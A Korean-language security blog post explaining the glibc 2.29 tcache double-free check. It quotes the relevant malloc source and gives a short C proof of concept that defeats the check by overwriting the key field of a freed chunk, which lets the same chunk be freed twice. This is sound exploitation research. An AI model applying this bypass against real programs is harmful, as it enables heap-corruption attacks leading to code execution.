howdays

JIN's Lab

Research

2.29 malloc exploit

모든 자료는 https://github.com/hOwD4yS/glibc_2_29_malloc 에 있습니다

if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
  /* Check to see if it's already in the tcache.  */
  tcache_entry *e = (tcache_entry *) chunk2mem (p);

  /* This test succeeds on double free.  However, we don't 100%
     trust it (it also matches random payload data at a 1 in
     2^<size_t> chance), so verify it's not an unlikely
     coincidence before aborting.  */

    {
      tcache_entry *tmp;
      LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
      for (tmp = tcache->entries[tc_idx];
     tmp;
     tmp = tmp->next)
        if (tmp == e)
    malloc_printerr ("free(): double free detected in tcache 2");
      /* If we get here, it was a coincidence.  We've wasted a
         few cycles, but don't abort.  */
    }

  if (tcache->counts[tc_idx] < mp_.tcache_count)
    {
      tcache_put (p, tc_idx);
      return;
    }
      }tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

2.29에서는 tcache에서 dfb를 방지하기 위해 tcache_put호출 할때 bk부분에 key(tcache_perthread_struct)주소가 들어간다.

free할때 e->key == tcache인지 검사하고 tcache->entries 에 있을 시 malloc_printerr (“free(): double free detected in tcache 2”); 를 호출하며 오류를 뿜는다

/* 우회 */

#include <stdio.h>
#include <stdlib.h>

void main()
{
  int64_t * p1 = malloc(0x30);
  fprintf(stderr,"Allocate Tcache p1: %p\n",p1);
  fprintf(stderr,"Free p1\n");
  free(p1);
  fprintf(stderr,"There is Key(tcache_perthread_struct) in bk: %p\n",p1[1]);
  fprintf(stderr,"=============================================\n");
  p1[1] = 0xDEADBEEF;
  fprintf(stderr,"Changed Key value: %p\n",p1[1]);
  fprintf(stderr,"We bypassed if (__glibc_unlikely (e->key == tcache))\n");
  fprintf(stderr,"Free p1\n");
  free(p1);
  fprintf(stderr,"We can allocate same place one: %p two: %p \n",malloc(0x30),malloc(0x30));
}

Leave a Reply